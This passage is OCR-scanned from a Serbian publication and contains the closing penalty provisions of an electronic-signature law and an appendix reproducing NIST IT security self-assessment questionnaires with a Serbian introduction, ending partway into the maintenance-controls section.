11) ne omogu¢i ovlaséenim licima nadleznog organa pristup u svoje poslovne
prostorije i uvid u podatke o poslovanju, uvid u poslovnu dokumentaciju,
pristup registru korisnika, ra¢unarskoj opremi i uredajima (¢lan 38).

Odgovorno lice u sertifikacionom telu kaznice se za prekrSaje iz stava 1. ovog

¢lana novéanom kaznom od 15.000 do 20.000 dinara.

Clan 44.

Novcanom kaznom od 200.000 do 400.000 dinara kaznice se za prekrsaj -
pravno lice u slucaju da ne ¢uva podatke i sredstva za proveru elektronskog
potpisa onoliko vremena koliko se cuvaju sama elektronska dokumenta (¢lan
5).

Preduzetnik kaznice se za prekrSaj iz stava 1. ovog ¢lana novéanom kaznom od
100.000 do 200.000 dinara.

Odgovorno lice u pravnom licu, drzavhom organu, organu teritorijalne
autonomije i organu lokalne samouprave kaznice se za prekrsaj iz stava 1. ovog
¢lana novéanom kaznom od 12.000 do 20.000 dinara.

VIl PRELAZNE | ZAVRSNE ODREDBE

Clan 45.

Nadlezni organ donosi podzakonska akta za sprovodenje ovog zakona u roku
od tri meseca od dana stupanja na snagu ovog zakona.

Clan 46.

Ovaj zakon stupa na snagu osmog dana od dana objavljivanja u "Sluzbenom
glasniku Republike Srbije".
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APPENDIX B

OSNOVNI ELEMENTI NIST STANDARDA
ZA EVALUACIJU BEZBEDNOSNIH PROCEDURA
INFORMACIONIH SISTEMA

Nivo bezbednosti IT sistema je definisan potrebnim stepenom poverenja
izmedu pojedinth komponenti koje cine informacioni sistem. Bezbednost
sistema je podrZana organizacionim, tehnickim i operativnim merama sa ciljem
zaStite samog sistema kao i informacija koje se na njemu ¢uvaju i procesa koji
se na njemu odvijaju. Svaka organizacija bi trebalo da primeni pomenute
bezbednosne mere i da odrzava bezbednost svog informacionog sistema u
skladu sa definisanim potrebama i finansijskim moguénostima. Pod navedenim
postupcima se podrazumavaju dve osnovne grupe aktivnosti :

- Obezbedivanje uslova da sistem, kao i instalirane aplikacije rade u
skladu sa zadatim parametrima i da proizvode Zeljene efekte,

- ZaStita informacija u najvecoj mogucéoj meri i izbegavanje gubitka
podataka, neautorizovanog pristupa ili neovlas¢ene izmene informacija.

Pre uvodenja zastitnih mera, neophodno je uraditi analize koje bi definisale
nacin 1 obim zaStite IT sistema, kao 1 analizu moguc¢ih rizika. Jedan od mogucih
nacina procene potreba za zaStitom i moguénosti zastite IT sistema, kao i
pracenja efekata preduzetih mera moze se samostalno sprovesti upitnikom Kkoji
je dat u daljem delu ovog teksta - Self-Assessments.

Upitnik se moze primeniti za testiranje IT sistema, kako u privatnim tako i u
drzavnim institucijama i to na svim nivoima upravljanja sistemom. Lica koja
sprovode testiranje moraju biti obucena u oblasti IT bezbednosti. Testiranje
podrazumeva, pre svega, analizu samog IT sistema koja se sastoji od
sagledavanja osnovnih postavki samog sistema kao i donoSenja programa
zastite. Takode je neophodno sagledati okvire u kojima IT sistem deluje, kako
bi se arhitektira sistema sagledala u celosti. Mora se voditi ra¢una da granice
sistema budu striktno zasticene, u saglasnosti sa definisanom politikom zastite.
Prilikom sagledavanja bezbednosnih aspekata sistema neophodno je imati u
vidu sledece Cinjenice:

- IT sistem mora biti pod direktnom kontrolom menadzmenta,

- IT sistem izvrSava funkcije koje su definisane postavljenim ciljevima,

- Operativne karakterisitike IT sistema definiSu potrebu za sprovodenjem
postupaka zastite,

- IT sistem se nalazi u odgovaraju¢em operativnom okruzZenju.

140



Treba imati u vidu da sve komponente IT sistema ne moraju biti fizicki
povezane ve¢ mogu biti dislocirane, ali moraju biti obuhvacene jedinstvenim
konceptom zastite.

Cinjenice o kojima je neophodno voditi raduna prilikom sagledavanja potreba
bezbednosti sistema su :

1) Poverljivost : informacije se moraju Stititi od neautorizovanog pristupa,

2) Integritet : informacije moraju biti zasticene od neovlasc¢ene ili nehoti¢ne
izmene, Sto ukljucuje :
a) Autenticnost (treca strana mora imati moguénost verifikacije da sadrzaj

nije menjan u toku prenosa),

b) Neporecivost (treca strana moze nedvosmisleno potvrditi izvor poruke),
c) Odgovornost (akcije nad informacijama se moraju pratiti i beleziti),

3) Raspolozivost : IT resursi moraju biti dostupni kako bi se ispunili zahtevi
sistema 1 sprecili gubici podataka. Raspolozivost, takode, ukljucuje
¢injenicu da se resursi koriste iskljucivo za predvidene namene.

Stepen vaznosti podataka se moze svrstati u tri osnovne kategorije :

1) Visoki : moze dovesti do ekstremnog ugrozavanja nacionalnih interesa,
ugrozavanja zivota, hapSenja, velikih materijalnih gubitaka ili je
neophodno preduzimanje zakonskih mera u cilju otklanjanja posledica
kompromitovanja podataka,

2) Srednji : moze dovesti do ozbiljnog ugrozavanja nacionalnih interesa,
znacajnih finansijskih gubitaka ili je neophodno preduzimanje zakonskih
mera u cilju otklanjanja posledica kompromitovanja podataka,

3) Niski : naruSavanje nacionalnih interesa, minimalni finansijski gubici ili
je neophodno preduzimanje administrativnih radnji za otklanjanje
posledica kompromitovanja podataka.

Pre pristupanja ispitivanju sistema, neophodno je definisati ciljeve koji se Zele
postic¢i. Ukoliko se zeli posti¢i veca bezbednost sistema, neophodno je izvrsiti
detaljnije pripreme, pri ¢emu se ocekuje da ¢e sama procena i priprema sistema
trajati duze nego u slucaju da se radi o sistemu kod koga se zahteva niZi nivo
bezbednosti. Zeljeni stepen bezbednosti, prema nivou vaznosti IT sistema
odreduje vlasnik odnosno korisnik sistema.

Bezbednosne kontrole IT sistema se ostvaruju u tri osnovna domena :
1) Upravljacke kontrole,

a) Upravljanje rizicima,

b) Upravljanje bezbednosnim kontrolama,

c) Upravljanje zivotnim vekom IT sistema,

d) Proces autorizacije (sertifikacija i akreditacija),

e) Plan sistema bezbednosti.
2) Operativne kontrole,

a) Pouzdanost osoblja,

b) Fizicka bezbednost,
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c) Radne izlazno ulazne kontrole,

d) Planiranje resursa,

e) Odrzavanje hardvera i sistemskog softvera,

f) Integritet podataka,

g) Dokumentacija,

h) Obuka i edukacija,

i) Efikasnost reagovanja na incidentnu situaciju.
3) Tehnicke kontrole

a) ldentifikacija i autentifikacija,

b) Logicka kontrola pristupa,

c) Kontrola i pracenje.

U cilju odredivanja stepena bezbednosti, definisano je pet nivoa efekasnosti
zastite koji se koriste u upitnicima koji slede u daljem tekstu :

Nivo 1 — Ostvarena kontrola ciljeva koji su definisanih u politici bezbednosti,
Nivo 2 — Ostvarena bezbednosna kontrola dokumenata i procedura,

Nivo 3 — Ostvarena implementacija bezbednosnih procedura,

Nivo 4 - Procedure i bezbednosne kontrole su testirane i revidirane,

Nivo 5 - Procedure i bezbednosne kontrole su u celosti integrisane u
sveobuhvatni program.

Metod odgovaranja na pitanja se prevashodno zasniva na ispitivanju relevantne
dokumentacije kao i na rigoroznom ispitivanju, testiranju i kontroli samog
sistema. Osoba koja vrsi procenu bezbednosti sistema, ne ¢ini to sama ve¢ u
timu sa vlasnikom odnosno korisnikom sistema kao i osobom zaduzenom za
administriranje IT sistemom. Na opisani nain se moze odrediti nivo
bezbednosti kritiénih elementa. Veoma je vazno obratiti paznju na ¢injenicu da
li je moguce posti¢i ciljeve koji su propisani politikom zaStite sistema. Za
elemente koje nije moguée posti¢i U posmatranom sistemu koristi se oznaka
N/A.

Popunjeni upitnici se mogu Korisiti u dve osnovne svrhe :
- Menadzerima za brzo dobijanje informacija o bezbednosti sopstvenog
sistema,
- Zaevaluaciju bezbednosti sistema i ukazivanje na potrebne akcije u cilju
dostizanja Zeljenog nivoa bezbednosti.

Nakon popunjavanja, vrsi se detaljna analiza upitnika. Analizu mogu vrSiti iste
osobe koje su vrsile ispitivanja 1 popunjavanje upitnika, medutim to moze biti 1
posebna grupa u okviru organizacije koja je specijalno zaduzena za bezbednost
podataka. Rezultati analize mogu biti pretoceni u akcioni plan, koji definise
pravce daljih aktivnosti u cilju otklanjanja uocenih nedostataka. Pored

......

koji se prezentuje nadleznim licima ili organizacionim jedinicama.

U daljem delu teksta ¢e biti date procedure za evaluaciju bezbednosti sistema
kroz upitnike i to u originalnom izdanju, onako kako ih je NIST preporucio.
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System Name, Title, and Unique Identifier:

Major Application

Name of Assessors:

or  General Support System

Date of Evaluation:

List of Connected Systems:

Name of System

1.

2.

Are boundary controls effective?

143

Planned action if not effective




Criticality of
System

Category of Sensitivity

High, Medium, or Low

Confidentiality

Integrity

Availability

Purpose and Objective of Assessment:
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1) Upravljacke kontrole

Upravljacke kontrole se usredsreduju na upravljanje IT security sistemom kao i upravljanjem rizicima. Radi se o tehnikama i odgovornostima
koje se nalaze u nadleznosti menadzmenta.

1.a) Upravljanje rizicima
Rizik predstavlja verovatnoc¢u da ¢e se desiti neki nepozeljan dogadaj. Upravljanje rizicima predstavlja proces predvidanja rizika i preduzimanja

koraka kako bi se rizik smanjio na prihvatljivu meru. Slede¢i upitnik je baziran na dva kriticna elementa. Nivo bezbednosti svakog od
posmatrana dva kriti¢na elementa se odreduje na osnovu odgovora datih u upitniku.

L.1 L.2 L.3 L.4 L.5 Risk Based Comments Initials
Policy Procedures Implemented Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives and Techniques

Risk Management
OMB Circular A-130, III

1.1 Critical Element:
Is risk periodically assessed?

1.1.1 Is the current system configuration
documented, including links to other systems?
NIST SP 800-18

1.1.2 Arerisk assessments performed and
documented on a regular basis or whenever
the system, facilities, or other conditions
change?

FISCAM SP-1

1.1.3 Has data sensitivity and integrity of the
data been considered?
FISCAM SP-1

1.1.4 Have threat sources, both natural and
manmade, been identified?

FISCAM SP-1
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

1.1.5 Has a list of known system
vulnerabilities, system flaws, or weaknesses
that could be exploited by the threat sources
been developed and maintained current?

NIST SP 800-30

1.1.6 Has an analysis been conducted that

determines whether the security requirements

in place adequately mitigate vulnerabilities?
NIST SP 800-30

1.2. Critical Element:

Do program officials understand the risk to
systems under their control and determine
the acceptable level of risk?

1.2.1 Are final risk determinations and related
management approvals documented and
maintained on file?

FISCAM SP-1

1.2.2 Has a mission/business impact analysis
been conducted?
NIST SP 800-30

1.2.3 Have additional controls been identified
to sufficiently mitigate identified risks?
NIST SP 800-30

NOTES:

146




1.b) Upravljanje bezbednosnim kontrolama - Revizija bezbednosnih kontrola

Rutinsko ispitivanje i odgovor sistema su veoma vazni elementi za definisanje ranjivih mesta sistema a takode i vazna stavka koja se koristi
prilikom upravljanja rizicima. Slede¢i upitnik je baziran na dva kriti¢na elementa. Nivo bezbednosti svakog od posmatrana dva kriti¢na elementa
se odreduje na osnovu odgovora datih u upitniku.

L.1 L.2 L.3 L4 L.5 Risk Based Comments Initials
Specific Control Objectives and Policy | Procedures | Implemented | Tested Integrated D:/‘;'i;on
ade

Techniques

Review of Security Controls
OMB Circular A-130, 111
FISCAM SP-5
NIST SP 800-18

2.1. Critical Element:

Have the security controls of the system
and interconnected systems been
reviewed?

2.1 1 Has the system and all network
boundaries been subjected to periodic
reviews?

FISCAM SP-5.1

2.1.2 Has an independent review been
performed when a significant change
occurred?
OMB Circular A-130, 111
FISCAM SP-5.1
NIST SP 800-18

2.1.3 Are routine self-assessments
conducted ?
NIST SP 800-18
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Specific Control Objectives and
Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

2.1.4 Are tests and examinations of key
controls routinely made, i.e., network
scans, analyses of router and switch
settings, penetration testing?
OMB Circular A-130, 8B3
NIST SP 800-18

2.1.5 Are security alerts and security
incidents analyzed and remedial actions
taken?
FISCAM SP 3-4
NIST SP 800-18

2.2. Critical Element:

Does management ensure that
corrective actions are effectively
implemented?

2.2.1 Is there an effective and timely
process for reporting significant weakness
and ensuring effective remedial action?
FISCAM SP 5-1 and 5.2
NIST SP 800-18

NOTES:
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1.c) Upravljanje Zivotnim vekom IT sistema

Kao i ostali aspekti IT sistema, najbolje upravljanje bezbednosnim sistemom se postize kroz planiranje Zivotnog veka IT sistema. Postoji vise
modela kojima se opisuje zivotni vek IT sistema. Najveci broj modela sadrzi pet osnovnih faza : uvodenje, razvoj/akvizicija, implementacija,
operativni rad i raspolaganje. Sledeci upitnik je baziran na dva kriti¢na elementa. Nivo bezbednosti svakog od posmatrana dva kriti¢na elementa
se odreduje na osnovu odgovora datih u upitniku.

L1 L.2 L3 L4 L.5 Risk Based Comments Initials
Specific Control Objectives and Policy | Procedures | Implemented | Tested Integrated D:/‘;'i;on
ade

Techniques

Life Cycle
OMB Circular A-130, 111
FISCAM CC-1.1

3.1. Critical Element:
Has a system development life cycle
methodology been developed?

Initiation Phase

3.1.1 Is the sensitivity of the system
determined?
OMB Circular A-130, 111
FISCAM AC-11& 1.2
NIST SP 800-18

3.1.2 Does the business case document
the resources required for adequately
securing the system?

Clinger-Cohen

3.1.3 Does the Investment Review Board

ensure any investment request includes

the security resources needed?
Clinger-Cohen

3.1.4 Are authorizations for software
maodifications documented and
maintained? FISCAM CC -1.2
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Specific Control Objectives and
Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

3.1.5 Does the budget request include the
security resources required for the
system?

GISRA

Development/Acquisition Phase

3.1.6 During the system design, are
security requirements identified?
NIST SP 800-18

3.1.7 Was an initial risk assessment
performed to determine security
requirements?

NIST SP 800-30

3.1.8 Is there a written agreement with
program officials on the security controls
employed and residual risk?

NIST SP 800-18

3.1.9 Are security controls consistent
with and an integral part of the IT
architecture of the agency?

OMB Circular A-130, 8B3

3.1.10 Avre the appropriate security
controls with associated evaluation and
test procedures developed before the
procurement action?

NIST SP 800-18

3.1.11 Do the solicitation documents (e.g.,
Request for Proposals) include security
requirements and evaluation/test
procedures?

NIST SP 800-18
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Specific Control Objectives and
Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

3.1.12 Do the requirements in the
solicitation documents permit updating
security controls as new
threats/vulnerabilities are identified and as
new technologies are implemented?

NIST SP 800-18

Implementation Phase

3.2. Critical Element:

Are changes controlled as programs
progress through testing to final
approval?

3.2.1 Are design reviews and system tests
run prior to placing the system in
production?
FISCAM CC-2.1
NIST SP 800-18

3.2.2 Are the test results documented?
FISCAM CC-2.1
NIST SP 800-18

3.2.3 s certification testing of security
controls conducted and documented?
NIST SP 800-18

3.2.4 If security controls were added
since development, has the system
documentation been modified to include
them?

NIST SP 800-18

3.2.5 If security controls were added
since development, have the security
controls been tested and the system
recertified?
FISCAM CC-2.1
NIST SP 800-18
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Specific Control Objectives and
Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

3.2.6 Has the application undergone a
technical evaluation to ensure that it
meets applicable federal laws, regulations,
policies, guidelines, and standards?

NIST SP 800-18

3.2.7 Does the system have written
authorization to operate either on an
interim basis with planned corrective
action or full authorization?

NIST SP 800-18

Operation/Maintenance Phase

3.2.8 Has a system security plan been
developed and approved?
OMB Circular A-130, 111
FISCAM SP 2-1
NIST SP 800-18

3.2.9 If the system connects to other
systems, have controls been established
and disseminated to the owners of the
interconnected systems?

NIST SP 800-18

3.2.10 Is the system security plan kept
current?
OMB Circular A-130, 111
FISCAM SP 2-1
NIST SP 800-18

Disposal Phase

3.2.11 Are official electronic records
properly disposed/archived?
NIST SP 800-18

152




Specific Control Objectives and
Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

3.2.12 Is information or media purged,

overwritten, degaussed, or destroyed

when disposed or used elsewhere?
FISCAM AC-3.4
NIST SP 800-18

3.2.13 Is a record kept of who
implemented the disposal actions and
verified that the information or media was
sanitized?

NIST SP 800-18

NOTES:
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1.d) Proces autorizacije (sertifikacija i akreditacija)

Proces autorizacije (naziva se jos i procesom sertifikacije i akreditacije) garantuje bezbednost sistema. Sledeéi upitnik je baziran na dva kriti¢na
elementa. Nivo bezbednosti svakog od posmatrana dva kriti¢na elementa se odreduje na osnovu odgovora datih u upitniku.

L.1 L.2 L.3 L4 L5 Risk Based Comments Initials
Policy Procedures Implemented | Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives and Techniques

Authorize Processing (Certification &
Accreditation)
OMB Circular A-130, 11l
FIPS 102

4.1. Critical Element:
Has the system been certified/recertified
and authorized to process (accredited)?

4.1.1 Has atechnical and/or security
evaluation been completed or conducted when
a significant change occurred?

NIST SP 800-18

4.1.2 Has arisk assessment been conducted
when a significant change occurred?
NIST SP 800-18

4.1.3 Have Rules of Behavior been
established and signed by users?
NIST SP 800-18

4.1.4 Has a contingency plan been developed
and tested?
NIST SP 800-18

4.1.5 Has a system security plan been
developed, updated, and reviewed?
NIST SP 800-18

4.1.6 Arein-place controls operating as
intended?

NIST SP 800-18
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

4.1.7 Are the planned and in-place controls
consistent with the identified risks and the
system and data sensitivity?

NIST SP 800-18

4.1.8 Has management authorized
interconnections to all systems (including
systems owned and operated by another
program, agency, organization or contractor)?
NIST 800-18

4.2. Critical Element:

Is the system operating on an interim
authority to process in accordance with
specified agency procedures?

4.2.1 Has management initiated prompt action
to correct deficiencies?
NIST SP 800-18

NOTES:
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1.e) Plan sistema bezbednosti

Bezbednosni plan sistema omogucuje pregled bezbednosnih zahteva sistema i opisuje kontrole koje su realizovane ili su planirane radi
zadovojenja postavljenih zahteva. Plan opisuje odgovornosti i o¢ekivana ponasanja svih osoba koje pristupaju sistemu. Slede¢i upitnik je baziran
na dva kriti¢na elementa. Nivo bezbednosti svakog od posmatrana dva kriti¢na elementa se odreduje na osnovu odgovora datih u upitniku.

L.1 L.2 L.3 L.4 L.5 Risk Based Comments Initials
Policy Procedures Implemented Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives and Techniques

System security plan
OMB Circular A-130, 11l
NIST SP 800-18
FISCAM SP-2.1

5.1. Critical Element:

Is a system security plan documented for
the system and all interconnected systems if
the boundary controls are ineffective?

5.1.1 Is the system security plan approved by

key affected parties and management?
FISCAM SP-2.1
NIST SP 800-18

5.1.2 Does the plan contain the topics
prescribed in NIST Special Publication 800-
18?

NIST SP 800-18

5.1.3 Is a summary of the plan incorporated
into the strategic IRM plan?
OMB Circular A-130, III
NIST SP 800-18

5.2. Critical Element:
Is the plan kept current?
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5.2.1 Is the plan reviewed periodically and
adjusted to reflect current conditions and
risks?
FISCAM SP-2.1
NIST SP 800-18

NOTES:
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2) Operativne kontrole

Operativne kontrole ukazuju na bezbednosne metode imaju¢i u vidu primarno implementirane mehanizme i izvrSene od strane ljudi .
Razmatrane kontrole se koriste radi unapredenja bezbednosti pojedinih sistema (ili grupa sistema). Obi¢no zahtevaju tehnicke ili specijalizovane
ekspertize i oslanjaju se na upravljacke aktivnosti, kao i na tehnicke kontrole.

2.a) Pouzdanost osoblja

Mnoge vazne stavke u kompjuterskoj bezbednosti uklju¢uju ljude i to kao : korisnike, projektante, programere i menadzere. Siroki dijapazon
bezbednosnih elemenata zavisi od toga kako se ljudi odnose prema informacionom sistemu i poslu koji obavljaju pomocu racunara. Sledeci
upitnik je baziran na dva kriti¢na elementa. Nivo bezbednosti svakog od posmatrana dva kriti¢na elementa se odreduje na osnovu odgovora datih
u upitniku.

L.1 L.2 L.3 L.4 L5 Risk Based Comments Initials
Policy Procedures Implemented Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives

Personnel Security
OMB Circular A-130, 11l

6.1. Critical Element:
Are duties separated to ensure least
privilege and individual accountability?

6.1.1 Are all positions reviewed for sensitivity
level? FISCAM SD-1.2
NIST SP 800-18

6.1.2 Are there documented job descriptions

that accurately reflect assigned duties and

responsibilities and that segregate duties?
FISCAM SD-1.2

6.1.3 Are sensitive functions divided among
different individuals?
OMB Circular A-130, 11l
FISCAM SD-1
NIST SP 800-18
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Specific Control Objectives

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

6.1.4 Are distinct systems support functions
performed by different individuals?
FISCAM SD-1.1

6.1.5 Are mechanisms in place for holding
users responsible for their actions?
OMB Circular A-130, III
FISCAM SD-2 & 3.2

6.1.6 Are regularly scheduled vacations and
periodic job/shift rotations required?
FISCAM SD-1.1
FISCAM SP-4.1

6.1.7 Are hiring, transfer, and termination
procedures established?
FISCAM SP-4.1
NIST SP 800-18

6.1.8 Is there a process for requesting,
establishing, issuing, and closing user
accounts?
FISCAM SP-4.1
NIST 800-18

6.2. Critical Element:

Is appropriate background screening for
assigned positions completed prior to
granting access?

6.2.1 Are individuals who are authorized to
bypass significant technical and operational
controls screened prior to access and
periodically thereafter?
OMB Circular A-130, Il
FISCAM SP-4.1

6.2.2 Are confidentiality or security
agreements required for employees assigned to
work with sensitive information?

FISCAM SP-4.1
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Specific Control Objectives

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

6.2.3 When controls cannot adequately
protect the information, are individuals

screened prior to access?

OMB Circular A-130, 11l

6.2.4 Are there conditions for allowing
system access prior to completion of

screening?

FISCAM AC-2.2
NIST SP 800-18

NOTES:
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2.b) Fizicka bezbednost i zastita okruzenja

Fizi¢ka bezbednost i zaStita okruzenja su mere koje se preduzimaju radi zastite samog IT sistema, zgrada kao i odgovarajuce infrastrukture kako
bi se zastitili od pretnji koje dolaze iz okruZenja. Sledeéi upitnik je baziran na tri kriti¢na elementa. Nivo bezbednosti svakog od posmatrana tri
kriti¢na elementa se odreduje na osnovu odgovora datih u upitniku.

L.1 L.2 L.3 L.4 L.5 Risk Based Comments Initials
Policy Procedures Implemented Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives and Techniques

Physical and Environmental Protection

Physical Access Control

7.1. Critical Element:

Have adequate physical security controls
been implemented that are commensurate
with the risks of physical damage or access?

7.1.1 Is access to facilities controlled through
the use of guards, identification badges, or
entry devices such as key cards or biometrics?
FISCAM AC-3
NIST SP 800-18

7.1.2 Does management regularly review the
list of persons with physical access to sensitive
facilities?

FISCAM AC-3.1

7.1.3 Are deposits and withdrawals of tapes
and other storage media from the library
authorized and logged?

FISCAM AC-3.1

7.1.4 Are keys or other access devices needed
to enter the computer room and tape/media
library?

FISCAM AC-3.1
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

7.1.5 Are unused keys or other entry devices
secured?
FISCAM AC-3.1

7.1.6 Do emergency exit and re-entry
procedures ensure that only authorized
personnel are allowed to re-enter after fire
drills, etc?

FISCAM AC-3.1

7.1.7 Are visitors to sensitive areas signed in
and escorted?
FISCAM AC-3.1

7.1.8 Are entry codes changed periodically?
FISCAM AC-3.1

7.1.9 Are physical accesses monitored
through audit trails and apparent security
violations investigated and remedial action
taken?

FISCAM AC-4

7.1.10 Is suspicious access activity
investigated and appropriate action taken?
FISCAM AC-4.3

7.1.11 Are visitors, contractors and
maintenance personnel authenticated through
the use of preplanned appointments and
identification checks?

FISCAM AC-3.1

Fire Safety Factors

7.1.12 Are appropriate fire suppression and

prevention devices installed and working?
FISCAM SC-2.2
NIST SP 800-18
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

7.1.13 Are fire ignition sources, such as
failures of electronic devices or wiring,
improper storage materials, and the possibility
of arson, reviewed periodically?

NIST SP 800-18

Supporting Utilities

7.1.14 Are heating and air-conditioning
systems regularly maintained?
NIST SP 800-18

7.1.15 Is there a redundant air-cooling
system?
FISCAM SC-2.2

7.1.16 Are electric power distribution, heating

plants, water, sewage, and other utilities

periodically reviewed for risk of failure?
FISCAM SC-2.2
NIST SP 800-18

7.1.17 Are building plumbing lines known
and do not endanger system?
FISCAM SC-2.2
NIST SP 800-18

7.1.18 Has an uninterruptible power supply or
backup generator been provided?
FISCAM SC-2.2

7.1.19 Have controls been implemented to
mitigate other disasters, such as floods,
earthquakes, etc.?

FISCAM SC-2.2

Interception of Data

7.2. Critical Element:
Is data protected from interception?
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

7.2.1 Are computer monitors located to
eliminate viewing by unauthorized persons?
NIST SP 800-18

7.2.2 Is physical access to data transmission
lines controlled?
NIST SP 800-18

Mobile and Portable Systems

7.3. Critical Element:
Are mobile and portable systems protected?

7.3.1 Are sensitive data files encrypted on all
portable systems?
NIST SP 800-14

7.3.2 Are portable systems stored securely?
NIST SP 800-14

NOTES:
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2.c) Radne ulaznol/izlazne kontrole

Moze se definisati viSe vrsta operacija koje se izvode na IT sistemu. Grupa osnovnih procedura definiSe cuvanje, upotrebu i unistavanje medija.
Sledec¢i upitnik je baziran na dva kritiCna elementa. Nivo bezbednosti svakog od posmatrana dva kriticna elementa se odreduje na osnovu
odgovora datih u upitniku.

L.1 L.2 L.3 L.4 L.5 Risk Based Comments Initials
Policy Procedures Implemented Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives and Techniques

Production, Input/Output Controls

8.1. Critical Element:
Is there user support?

8.1.1 Is there a help desk or group that offers
advice?
NIST SP 800-18

8.2. Critical Element:
Are there media controls?

8.2.1 Are there processes to ensure that
unauthorized individuals cannot read, copy,
alter, or steal printed or electronic
information?

NIST SP 800-18

8.2.2 Are there processes for ensuring that
only authorized users pick up, receive, or
deliver input and output information and
media?

NIST SP 800-18

8.2.3 Are audit trails used for receipt of
sensitive inputs/outputs?
NIST SP 800-18

8.2.4 Are controls in place for transporting or
mailing media or printed output?
NIST SP 800-18
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

8.2.5 Is there internal/external labeling for
sensitivity?
NIST SP 800-18

8.2.6 Is there external labeling with special
handling instructions?
NIST SP 800-18

8.2.7 Are audit trails kept for inventory
management?
NIST SP 800-18

8.2.8 Is media sanitized for reuse?
FISCAM AC-3.4
NIST SP 800-18

8.2.9 Is damaged media stored and /or
destroyed?
NIST SP 800-18

8.2.10 Is hardcopy media shredded or
destroyed when no longer needed?
NIST SP 800-18

NOTES:
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2.d) Planiranje resursa

Planiranje resursa podrazumeva znatno visSe od planiranja izmeStanja IT sistema na drugo mesto nakon katastrofalne ili velike $tete. Takode se
definiSe nacin oCuvanja osnovnih organizacionih postavki kao i o¢uvanja kriti¢nih operativnih funkcija koje moraju funkcionisati uprkos velikim
ili malim razaranjima. Sledeci upitnik je baziran na tri kriticna elementa. Nivo bezbednosti svakog od posmatrana tri kriticna elementa se
odreduje na osnovu odgovora datih u upitniku.

L.1 L.2 L.3 L4 L5 Risk Based Comments Initials
Policy Procedures Implemented | Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives and Technigues

Contingency Planning
OMB Circular A-130, 11l

9.1. Critical Element:

Have the most critical and sensitive
operations and their supporting computer
resources been identified?

9.1.1 Are critical data files and operations
identified and the frequency of file backup
documented?
FISCAM SC- SC-1.1 & 3.1
NIST SP 800-18

9.1.2 Are resources supporting critical
operations identified?
FISCAM SC-1.2

9.1.3 Have processing priorities been
established and approved by management?
FISCAM SC-1.3

9.2. Critical Element:
Has a comprehensive contingency plan been
developed and documented?

9.2.1 Is the plan approved by key affected
parties?
FISCAM SC-3.1

9.2.2 Are responsibilities for recovery
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Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

assigned?
FISCAM SC-3.1

9.2.3 Are there detailed instructions for
restoring operations?
FISCAM SC-3.1

9.2.4 Is there an alternate processing site; if
S0, is there a contract or interagency
agreement in place?
FISCAM SC-3.1
NIST SP 800-18

9.2.5 Is the location of stored backups
identified?
NIST SP 800-18

9.2.6 Are backup files created on a prescribed

basis and rotated off-site often enough to

avoid disruption if current files are damaged?
FISCAM SC-2.1

9.2.7 Is system and application documentation
maintained at the off-site location?
FISCAM SC-2.1

9.2.8 Are all system defaults reset after being
restored from a backup? FISCAM SC-3.1

9.2.9 Are the backup storage site and alternate
site geographically removed from the primary
site and physically protected?

FISCAM SC-2.1

9.2.10 Has the contingency plan been
distributed to all appropriate personnel?
FISCAM SC-3.1

9.3. Critical Element:
Avre tested contingency/disaster recovery
plans in place?

9.3.1 Is an up-to-date copy of the plan stored
securely off-site? FISCAM SC-3.1

168




Specific Control Objectives and Techniques

L.1
Policy

L.2

Procedures

L.3

Implemented

L.4
Tested

L.5
Integrated

Risk Based
Decision
Made

Comments

Initials

9.3.2 Are employees trained in their roles and
responsibilities?
FISCAM SC-2.3
NIST SP 800-18

9.3.3 Is the plan periodically tested and
readjusted as appropriate?
FISCAM SC-3.1
NIST SP 800-18

NOTES:
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2.e) Odrzavanje hardvera i softvera

Rec¢ je o kontrolama koje se koriste za nadgledanje instalacija, kao i o poboljSanjima hardvera i softvera kako bi se obezbedilo funkcionisanje
sistema u skladu sa ocekivanjima kao i pracenje promena u radu. Neke od ovih kontrola su opisane u delu teksta koji opisuje zivotni vek IT
sistema. Slede¢i upitnik je baziran na tri kriticna elementa. Nivo bezbednosti svakog od posmatrana tri kriticna elementa se odreduje na osnovu
odgovora datih u upitniku.

L.1 L.2 L.3 L4 L5 Risk Based Comments Initials
Policy Procedures Implemented | Tested Integrated D:/‘;'S(';O”
ade

Specific Control Objectives and Technigues

Hardware and System Software
Maintenance
